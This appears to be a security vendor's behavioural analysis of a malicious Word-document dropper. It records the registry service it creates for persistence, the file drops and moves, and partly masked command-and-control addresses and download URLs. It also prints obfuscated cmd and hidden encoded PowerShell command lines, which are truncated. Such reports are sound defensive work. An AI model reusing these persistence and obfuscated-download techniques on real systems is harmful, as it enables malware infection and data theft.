Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\oxhgcmb.sof] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\oxhgcmb.sof] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ofeykmvm\oxhgcmb.sof",Control_RunDLL'
Creates the following services
- 'oxhgcmb.sof' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ofeykmvm\oxhgcmb.sof",Control_RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0AewAwAH0AewA1AH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAHQAJwAsACcAYwBUAE8AcgB5ACcALAAnAFIARQAnACwAJwB5AFMA...
Modifies file system
Creates the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Deletes the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Moves the following files
- from %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll to %WINDIR%\syswow64\ofeykmvm\oxhgcmb.sof
Substitutes the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Network activity
Connects to
- '24.##1.88.85':80
- '19#.#12.178.60':80
- '50.##6.111.59':8080
TCP
HTTP GET requests
- http://www.sh##tnr.xyz/wp-content/zBgK/
- http://www.ta####dbackups.com/wp-includes/Dfp/
HTTP POST requests
- http://50.###.111.59:8080/g1x6mxt5ipr/29lgqmcnnc5iotqv/aln4bec41mist6/ha6yftfiicn/xnnhri2443hpnohv/qljlbd6y1lvnvfy/ via 50.##6.111.59
UDP
- DNS ASK th###nhmy.com
- DNS ASK ni####ogroms.com
- DNS ASK sh##tnr.xyz
- DNS ASK va#####ancountry.com
- DNS ASK ta####dbackups.com
- DNS ASK ad###ght.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0Ae...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\D73hpgv\Mogjtd6\K52M.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Ofeykmvm\oxhgcmb.sof",Control_RunDLL
